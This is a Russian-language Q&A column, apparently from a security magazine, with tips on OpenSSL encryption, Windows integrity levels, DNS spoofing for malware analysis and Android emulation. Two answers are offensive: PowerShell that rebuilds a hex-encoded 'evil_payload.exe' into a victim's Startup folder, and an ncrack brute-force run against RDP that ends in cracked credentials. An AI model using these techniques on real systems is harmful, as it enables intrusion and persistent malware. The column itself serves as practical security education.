Q: Как бы ты зашифровал некоторые данные для передачи на удаленном Linux-сервере?

A: Я бы сделал это через OpenSSL! Да-да, этот демон есть практически в любой Linux-системе, но при этом его возможности далеко не ограничиваются поддержанием SSL-соединения. Хочу поделиться с тобой несколькими полезными трюками, которые наверняка тебе не раз пригодятся. Так, с помощью OpenSSL ты можешь шифровать и дешифровать данные, проверять целостность файла, определять, какие протоколы шифрования и шифры поддерживает удаленный сервер, а также замерять скорость соединения. 1. Начнем с шифрования. В твоей ситуации можно было бы использовать вполне тривиальные решения вроде GnuPG, но с задачей отлично справится и OpenSSL:

  1. $ openssl aes-256-cbc -salt -in 
    file-test -out file-test.aes
    enter aes-256-cbc encryption password:
    Verifying - enter aes-256-cbc 
    encryption password:
    

    В данном случае мы шифруем файл file-test с помощью AES-256 (в режиме CBC) и записываем его в file-test.aes. При этом OpenSSL дважды спрашивает пароль. Далее он потребуется для дешифрования файла, которое выполняется следующим образом:

    $ openssl aes-256-cbc -d -in \
     file-test.aes -out file-test-dec
    

    К сожалению, возможности OpeenSSL позволяют шифровать только один файл, поэтому для шифрования нескольких придется предварительно их сжать или же написать простой bash-скрипт. Вот, к примеру, небольшой сценарий, который шифрует все файлы в текущей директории:

    $ for f in * ; do [ -f $f ] && openssl
     aes-256-cbc -salt -in $f -out $f.enc 
     -pass file:password.txt ; done
    
  2. Генерация хеша. OpenSSL пригодится и в том случае, если нужно сгенерировать SHA1-1- или MD5-хеши. Вычислим SHA1 для файла file-test-64:
    $ openssl sha1 file-test-64
    SHA1(eapol-64)= afc594f26ca08780737
    69d24f8c04fe35f2bf8b3
    
  3. Чтобы выяснить, какую версию SSL/TLS поддерживает удаленный сервер, можно опять же воспользоваться OpenSSL. Это легко делается с помощью следующей команды:
    $ echo 'GET HTTP/1.0' | openssl s_client 
    -connect example.com:443
    [...]
    New, TLSv1/SSLv3, Cipher is 
    DHE-RSA-AES256-SHA
    Server public key is 2048 bitм
    

    Как мы видим, хост поддерживает TLSv1/SSLv3.

  4. В OpenSSL также встроен собственный speed test, позволяющий замерить скорость удаленного соединения. Простейший бенчмарк запускается так:
    $ openssl s_time -connect \
     webserver.com:443
    

Q: Подскажи какой-нибудь свежий способ перенести исполняемый файл на удаленную систему, если ни один из привычных способов (ftp.exe, браузер и т. д.) недоступен.

A: В одном из номеров журнала мы уже рассказывали о том, как собрать исполняемый файл из текстового документа с помощью debug.exe. Однако такой способ накладывает ограничение в 64 Кб на размер исполняемого файла. Более того, debug.exe не входит в последние версии ОС от Microsoft. К счастью, в Windows 7 и Server 2008 по умолчанию имеется PowerShell, который предоставляет баснословные возможности прямо из командной строки. Что мы можем сделать? Взять текстовый файл с шестнадцатеричным представлением исполняемого файла и перевести его в настоящий бинарник. Можно без труда оформить бинарник в виде «текстовика» с помощью простейшего скрипта в том числе на том же самом PowerShell:

PS > [byte[]] $hex = get-content 
-encoding byte -path 
C:\temp\evil_payload.exe
PS > [System.IO.File]::WriteAllLines("C:\
temp\hexdump.txt", ([string]$hex))

Первая строка считывает каждый байт экзешника и сохраняет его в массиве. Вторая строка переводит байты в массив строк и записывает их в текстовый файл. В результате в файле hexdump.txt у нас получается что-то вроде этого:

77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 
184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 
0 0 0 0 0 232 0 0 0 14 31 ....

Передать текстовый файл намного проще, чем бинарный. В крайнем случае (если предположить, что компьютер не имеет доступа в сеть и к нему нельзя подключить внешние носители), злоумышленник может создать такой файл вручную (хотя мучиться он будет довольно долго). Реконструировать файл обратно в бинарник на целевой системе можно с помощью такого PS-сценария:

PS > [string]$hex = get-content -path
C:\Users\victim\Desktop\hexdump.txt
PS > [Byte[]] $temp = $hex -split ' '
PS > [System.IO.File]::WriteAllBytes(
"C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\Startup\evil_payload.exe",
$temp)

Первая строка считывает дамп в строковую переменную, далее строка с помощью пробела разделяется на байты. В конце концов массив байтов записывается в файл— и мы получаем исходный бинарник, готовый к исполнению.

Q: Как поменять стандартный менеджер задач на какой-нибудь на более продвинутый, который сразу бы выскакивал по привычному хоткею CTRL + SHIFT + ESC?

A: В меню продвинутых таскменеджеров вроде Process Explorer от Марка Руссиновича (bit.ly/ugFDpx) есть опция Replace Task Manager, с помощью которой его можно сделать менеджером задач по умолчанию. Чтобы провернуть эту операцию вручную, нужно поправить следующую ветку в реестре:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Image File 
Execution Options\taskmgr.exe

Если раздела с названием taskmgr.exe не будет, создай его сам. Затем необходимо добавить строковый параметр Debugger и в качестве его значения прописать путь до исполняемого файла нового таскменеджера (например, c:\utils\Process Explorer\procexp.exe).

Q: Подскажи удобный способ для просмотра данных, которые передаются между браузером и веб-приложением через WebSocket?

A: Сам недавно столкнулся с такой задачей. Пришел к выводу, что есть два основных варианта: 1. Использовать инструмент, который удобен для просмотра любого сетевого трафика, — Wireshark (www.wireshark.org). Ты легко сможешь мониторить любые данные, которые передаются как по WebSockets, так и по любым другим протоколам, работающим поверх HTTP (например, SOAP). 2. Воспользоваться расширением для Firefox — Temper Data (bit.ly/sM49Hk), которое позволяет не только посмотреть данные, но и изменить их на лету.

Q: В чем фишка дополнительного механизма защиты Windows Integrity Levels? Как можно его использовать и насколько это целесообразно?

A: Одно из нововведений Windows Vista, 7 и Server 2008, о котором мало кто говорит, — это mandatory integrity levels (MIL). Если говорить с точки зрения процессов, то Microsoft ввела дополнительные уровни доступа, чтобы ограничить приложения, которые запущены из-под одного и того же аккаунта, во взаимном доступе. Сейчас такие процессы могут беспрепятственно влиять друг на друга. В дополнение к традиционным системам контроля доступа появилось еще одно средство разграничения доступа, благодаря которому к объекту с уровнем N могут обращаться только объекты с уровнем N и выше. Звучит страшно, но на самом деле все очень просто. Файлам процесса можно назначить три метки доверия: Low, Media и High. Все процессы, даже из-под аккаунта администратора, по умолчанию запускаются с уровнем Medium (средний обязательный уровень в локализованной ОС). Правда, под стандартным таскменеджером ты этого не увидишь. Придется поставить Process Explorer и добавить для отображения соответствующий столбец (View  Select Columns  Integrity Level). Но главный вопрос — зачем это нужно? Предположим, в систему каким-то образом попала малварь, которая работает в usermode. Она легко может инжектироваться, например, в процесс, KeePass и перехватить все пароли, которые ты старательно сохраняешь в этой замечательной тулзе, чтобы она их надежно шифровала. В итоге все пароли окажутся у злоумышленника. Все из-за того, что у KeePass и кейлоггера был одинаковый — средний — уровень доверия. Если бы мы заранее подняли уровень доверия KeyPass до High, то кейлоггер уже не смог бы добраться до этого процесса. Профит! Установить высокий уровень доверия какому-нибудь приложению (тому же KeyPass) очень просто — его лишь необходимо запустить через механизм Run as administrator. Хотя, конечно, это не спасет от более серьезной малвари, которая работает на уровне ядра. Но это хороший пример, иллюстрирующий возможности дополнительной системы разграничения доступа.

Windows Integrity Levels можно использовать и для дополнительной защиты файлов. Манипулировать с уровнями доверия позволяет и встроенная в систему утилита icacls, но есть хороший альтернативный вариант в виде Chml (bit.ly/s0BLCm). К примеру, можно установить файлу высокий уровень доверия (ключ «-i:h») и запретить приложениям с меньшим уровнем его читать (ключ «-nr»):

chml file.zip -i:h -nr

Поскольку приложения по умолчанию загружаются со средним уровнем доверия, то обратиться к file.zip они уже не смогут и получат сообщение Access is denied.

5 шагов: Спуфинг dns-ответов для анализа малвари

Хочу перехватывать все подключения зловреда к его C&C-серверам. Нужно проспуфить DNS-ответы так, чтобы в качестве IP-адресов своих доменов малварь получала заданный мною айпишник. Как это проще сделать? Не снифать же вручную все имена доменов, к которым происходят обращения, добавляя их вручную в файл hosts?

  1. BIND (www.isc.org). С подменой DNS-ответов отлично справится правильно отконфигурированный DNS-сервер, например BIND, который работает как под виндой, так и никсами. С другой стороны, это все равно, что стрелять из пушки по воробьям. Легче заюзать специальную тулзу для спуфинга DNS-ответов.
  2. ApateDNS (bit.ly/sZQiK1). Эту утилиту недавно выпустила известная security-компанией Mandiant. Она принимает DNS-запросы и отправляет ответы с тем IP-адресом, который ты указал. Чтобы все работало, хост, на котором запущен ApateDNS (работает только под виндой), должен быть указан на исследуемых машинах в качестве DNS.
  3. FakeDNS (bit.ly/szUFXI). Тулза входит в большой набор программ для анализа малвари Malcode Analysis Pack. Как и ApateDNS, она работает только под виндой и отвечает на все DNS-запросы, подсовывая заранее прописанный IP-адрес. Все перехваченные данные (запросы и ответы) можно посмотреть в HEX-представлении.
  4. fakedns.py (bit.ly/vhgamQ). Этот скрипт для спуфинга DNS-ответов написан на Python (чуть больше 40 строчек кода) и потому будет работать под любой ОС. По умолчанию в качестве IP-адреса в любом запросе задается адрес хоста, на котором запущен fakedns.py, но с помощью параметров запуска можно указать любой другой айпишник.
  5. HostsMan (bit.ly/uZAV0X). Эта программа не предназначена для спуфинга DNS-ответов, но предоставляет отличный интерфейс для редактирования файла hosts. Она позволяет настроить автоматическое обновления конфига или, например, удалить из файла дублирующие друг друга записи. Хотя, конечно, в 99% случаев достаточно и обычного блокнота. 🙂

FakeDNS спуфит DNS-ответы. администраора».
FakeDNS спуфит DNS-ответы. администраора».

Q: Есть ли в паблике быстрый брутфорсер для RDP?

A: Одной из первых рабочих утилит, предложивших нормальный брутфорс RDP-акков, была TSGrinder (bit.ly/uThpnS). Но работает она очень медленно. Гораздо более эффективный перебор паролей предоставляет ncrack (nmap.org/ncrack) — разработанный создателями nmap брутфорсер, по умолчанию имеющий модуль для RDP-брута. Выглядит его использование так:

$ ncrack -vv -d7 --user administrator \
 -P /home/user/passlist.txt \
 192.168.26.137:3389,CL=2
rdp://192.168.26.137:3389 (EID 1) Login
failed: 'administrator' 'admin'
...
Discovered credentials on rdp://192.168.26.137:3389 'administrator' 'admin123'

Пароль найден!

Q: Использую один и тот же ноутбук на работе и дома. Есть ли способ быстро переключать сетевые конфигурации без использования утилит вроде NetSetMan?

A: Сохранить все сетевые настройки можно через netsh с помощью ключа dump:

netsh interface dump > netsh-config1.txt

В результате в конфиг в особой форме будут записаны настройки всех сетевых интерфейсов:

# ---------------------------------- 
# Interface IP Configuration         
# ---------------------------------- 
pushd interface ip
# Interface IP Configuration for "Local 
 Area Connection 1"
set address name="Local Area Connection 
 1" source=dhcp 
set dns name="Local Area Connection 1" 
 source=dhcp register=PRIMARY
set wins name="Local Area Connection 1"
 source=dhcp
popd
# End of interface IP configuration
...

Чтобы применить настройки из файла, используется команда netsh -f:

netsh -f netsh-config1.txt

Соответственно, ты можешь создать два конфига и быстро переключаться между ними, сделав, к примеру, ярлычок для каждого конфига.

БОЛЬШОЙ ВОПРОС

Q: Как можно пощупать Android-приложения, не имея телефона с Android? Я знаю про стандартный эмулятор от Google, но уж больно он тормозной!

A: Эмулятор Andoid’а, входящий в Android SDK, действительно медленный, так как он вынужден эмулировать настоящий процессор архитектуры ARM поверх процессора x86. Из-за этого в плане производительности возникает довольно существенный оверхед в. На твое счастье, в мире есть талантливые извращенцы, у которых полно сил на реализацию довольно странных проектов вроде Bluestacks. Это не эмулятор, а полностью воссозданное Android-окружение, которое позволяет запускать Android-приложения. На практике это дает массу преимуществ. К примеру, ты можешь запускать приложения в полноэкранном режиме, и они реально не будут тормозить. Платформа позволяет запускать десять приложений, которые идут с ней в комплекте, а также устанавливать дополнительные. Примечательно, что это не просто проект энтузиастов, а финансируемый инвесторами стартап. На данный момент Bluestacks уже привлек инвестиции примерно на 7 млн долларов. Помимо этого, существует также открытый проект по портированию Android на процессоры x86 (www.android-x86.org), который постоянно радует нас новыми версиями. Для установки я использовал подробный мануал с офсайта (http://bit.ly/rYs9OI), и все сразу заработало!

Android-x86, запущенный под VirtuaBox, на хорошем компьютере работает примерно в два раза быстрее, чем смартфон Nexus One!
Android-x86, запущенный под VirtuaBox, на хорошем компьютере работает примерно в два раза быстрее, чем смартфон Nexus One!

 

Теги:


Оставить мнение